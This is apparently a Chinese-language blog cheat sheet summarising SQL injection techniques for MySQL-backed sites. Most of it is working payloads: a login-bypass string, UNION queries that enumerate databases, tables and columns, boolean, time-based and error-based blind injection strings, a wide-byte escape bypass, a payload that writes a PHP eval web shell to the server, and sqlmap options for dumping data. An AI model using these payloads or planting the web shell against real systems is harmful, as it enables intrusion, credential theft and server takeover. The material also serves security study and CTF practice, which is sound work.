SQL注入总结
返回首页
技术分享
2025-12-20
🔑 万能密码
' or 1=1#
登录语句原理:
SELECT * FROM users WHERE username='$user' AND password='$pass'
🎯 SQL注入方式
| 注入类型 | 描述 |
|---|---|
| 联合查询注入 | 通过UNION语句获取数据 |
| 报错注入 | 利用数据库报错信息获取数据 |
| 布尔盲注 | 通过真/假条件推断数据 |
| 时间盲注 | 通过延迟响应推断数据 |
| 堆叠注入 | 执行多条SQL语句 |
| 内联注入 | 将恶意代码注入到正常语句中 |
🔤 特殊符号
可用于闭合的符号
' " )
可用于注释的符号
-- + # MySQL注释
# # MySQL注释
/* # 多行注释
可用于替代空格的符号
+ # 加号替代空格
/**/ # 多行注释替代空格
tab # Tab键替代空格
information_schema.
schemata -- 所有的数据库
tables -- 所有的表
columns -- 所有的字段
🔄 SQL注入流程
1. 判断注入点
- 确定注入点位置
- 判断注入类型
- 确定闭合方式
2. 判断字段数
ORDER BY 1,2,3... # 递增测试直到报错
3. 判断回显点(联合查询)
UNION SELECT 1,2,3 # 确定数据显示位置
4.查询语句
-- 查表名
1,(select table_name from information_schema.tables where table_schema='library'),3,4
-- 查库名
1,(select group_concat(table_name) from information_schema.tables where table_schema='library'),3,4
-- 查字段名
1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3,4
👁️ 布尔盲注
基于布尔判断的盲注,通过页面的真/假响应获取信息。
逻辑判断
AND -- 两个条件都为真时返回真
OR -- 两个条件中有一个为真时返回真
NOT -- 取反操作
注入流程
1. 确定注入点
方法: 通过添加 ' 和注释符,观察页面响应变化
2. 判断数据库版本
AND LEFT(VERSION(),1)=5 # 判断版本号第一位是否为5
3. 判断数据库名长度
AND LENGTH(DATABASE())=n # n为猜测的长度
4. 猜解数据库名称
-- 字符串比较
ASCII(SUBSTR(DATABASE(),1,1))=115 # 's'的ASCII码
-- 字符串截取
SUBSTR(字符串, 起始位置, 截取长度)
💥 报错注入
利用数据库报错信息直接获取数据,比盲注更高效。
注入流程
1. 判断注入类型
测试各种注入方式,确定报错注入可行性
2. 获取数据库名
UPDATEXML(1,CONCAT(0x7e,DATABASE(),0x7e),3)
-- 0x7e = ~ 符号,用于标识数据
-- 注意:XML XPath只显示32字符,需用SUBSTR截取
3. 查询表名
UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='security'),0x7e),3)
4. 查询字段名
UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='security' AND TABLE_NAME='users'),0x7e),3)
🌐 宽字节注入
原理
目标对特殊符号进行转义,添加反斜杠 \(ASCII 92,十六进制 5c)
绕过方法
%df -- 与反斜杠(5c)组合成中文字符,绕过转义
⚠️ 报错盲注
手动构造错误条件,通过报错响应获取信息。
SELECT IF((条件判断),EXP(5000),0) -- EXP(5000)构造数值溢出错误
-- 或者使用COT(0)构造除零错误
⏱️ 延时盲注
通过控制响应时间来判断条件是否成立。
IF((条件判断),SLEEP(5),0) -- 条件成立时延迟5秒
-- 通过观察页面加载时间判断条件真假
📝 写入文件读取注入
将恶意代码写入服务器文件。
UNION SELECT 1,'<?php @eval($_POST[a]);?>' INTO OUTFILE 'C:/www/2.php'-- +
🛠️ SQLMap使用
基础参数
| 参数 | 说明 |
|---|---|
-u |
指定目标URL |
-p |
指定注入参数 |
--batch |
自动化测试,全部默认确认 |
--dbs |
获取所有数据库名 |
--tables |
获取表名 |
--columns |
获取字段名 |
--dump |
获取字段内容 |
高级参数
# 指定数据库、表、字段
-D database_name -T table_name -C column_name
# 多目标扫描
-m targets.txt
# Cookie绕过登录
--cookie="name=value"
# 随机User-Agent
--random-agent
# POST请求
-r post_request.txt
# 测试等级
--level=1-5
# 绕过脚本
--tamper=space2comment # 替换连续空格为注释
性能优化
# 修改线程数配置文件:sqlmap\lib\core\settings.py
MAX_NUMBER_OF_THREADS = 10 # 根据需要调整